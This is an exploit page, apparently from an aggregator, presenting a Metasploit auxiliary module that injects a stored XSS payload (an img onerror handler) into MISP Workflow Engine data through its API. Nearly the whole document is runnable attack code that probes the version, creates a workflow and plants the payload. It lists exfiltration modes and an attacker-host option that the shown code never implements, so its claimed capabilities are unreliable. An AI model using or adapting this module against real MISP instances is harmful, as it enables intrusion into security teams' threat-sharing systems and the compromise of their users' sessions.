Share
## https://sploitus.com/exploit?id=PACKETSTORM:219772
==================================================================================================================================
    | # Title     : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.misp-project.org/2025/11/27/misp.2.5.27.released.html/                                               |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine. 
                     It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MISP Workflow Engine Stored Cross-Site Scripting',
            'Description' => %q{...},
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux', 'win'],
            'Targets' => [['Automatic', {}]],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-03-28'
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('API_KEY', [true, 'API key', '']),
          OptEnum.new('PAYLOAD_MODE', [true, 'Mode',
            'alert', ['alert','alert_info','console','console_info','exfiltrate_users','exfiltrate_page','exfiltrate_events']
          ]),
          OptString.new('ATTACKER_HOST', [false, 'host:port', '127.0.0.1:8000']),
          OptInt.new('EXFIL_LIMIT', [true, 'limit', 20]),
          OptString.new('CUSTOM_PAYLOAD', [false, 'custom', '']),
          OptBool.new('VERIFY_SSL', [true, 'SSL verify', false])
        ])
      end
    
      def setup
        @base_url = normalize_uri(target_uri.to_s)
        @api_key = datastore['API_KEY']
        @mode = datastore['PAYLOAD_MODE']
        @attacker_host = datastore['ATTACKER_HOST'].to_s
        @limit = datastore['EXFIL_LIMIT'].to_i
        @custom_payload = datastore['CUSTOM_PAYLOAD'].to_s
        @workflow_id = nil
        @trigger_id = nil
      end
    
      def run_host(ip)
        print_status("Target: #{ip}:#{rport}")
    
        return unless check_vulnerability
        return unless create_workflow
        return unless inject_payload
    
        verify_payload
        print_exploit_info
      end
    
      def check_vulnerability
        res = send_request_cgi({
          'uri' => normalize_uri(@base_url, 'servers/getVersion'),
          'method' => 'GET',
          'headers' => { 'Authorization' => @api_key }
        })
    
        return false unless res && res.body
    
        begin
          json = JSON.parse(res.body)
          if json['version']
            version = json['version'].to_s
            if version.start_with?('2.5')
              print_good("Version: #{version} (likely vulnerable)")
            end
          end
        rescue
        end
    
        res2 = send_request_cgi({
          'uri' => normalize_uri(@base_url, 'workflows/index'),
          'method' => 'GET',
          'headers' => { 'Authorization' => @api_key }
        })
    
        return false unless res2
    
        if res2.code == 200
          print_good("Workflow API accessible")
          return true
        end
    
        false
      end
    
      def create_workflow
        name = "XSS_#{Rex::Text.rand_text_alpha(8)}"
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_url, 'workflows/add'),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => { 'Workflow' => { 'name' => name } }.to_json,
          'headers' => { 'Authorization' => @api_key }
        })
    
        return false unless res && res.body
    
        json = JSON.parse(res.body) rescue nil
        return false unless json
    
        wf = json.dig('saved', 'Workflow') || json['Workflow']
        return false unless wf
    
        @workflow_id = wf['id'].to_s
        @trigger_id = wf['trigger_id'].to_s
    
        return false if @workflow_id.empty? || @trigger_id.empty?
    
        print_good("Workflow: #{@workflow_id}")
        true
      end
    
      def build_js_payload
        return @custom_payload unless @custom_payload.empty?
    
        case @mode
        when 'alert'
          "alert('MISP XSS');"
        when 'console'
          "console.log('MISP XSS');"
        else
          "alert('XSS');"
        end
      end
    
      def build_html_payload(js)
        "<img src=x onerror=\"#{js.gsub('"','\"')}\">"
      end
    
      def inject_payload
        return false unless @workflow_id && @trigger_id
    
        js = build_js_payload
        html = build_html_payload(js)
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_url, "workflows/edit/#{@workflow_id}"),
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            'Workflow' => {
              'id' => @workflow_id,
              'data' => html
            }
          }.to_json,
          'headers' => { 'Authorization' => @api_key }
        })
    
        if res && res.code == 200
          print_good("Payload injected")
          return true
        end
    
        false
      end
    
      def verify_payload
        return unless @workflow_id
    
        res = send_request_cgi({
          'uri' => normalize_uri(@base_url, "workflows/view/#{@workflow_id}"),
          'method' => 'GET',
          'headers' => { 'Authorization' => @api_key }
        })
    
        return false unless res && res.body
        if res.body.include?(@workflow_id)
          print_good("Workflow exists (not reliable XSS proof)")
          return true
        end
    
        false
      end
    
      def print_exploit_info
        return unless @workflow_id
    
        url = normalize_uri(@base_url, "workflows/view/#{@workflow_id}")
    
        print_good("URL: #{url}")
    
        report_note(
          host: (defined?(rhost) ? rhost : nil),
          port: (defined?(rport) ? rport : nil),
          type: 'misp.xss',
          data: { workflow_id: @workflow_id, url: url },
          update: :unique_data
        )
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================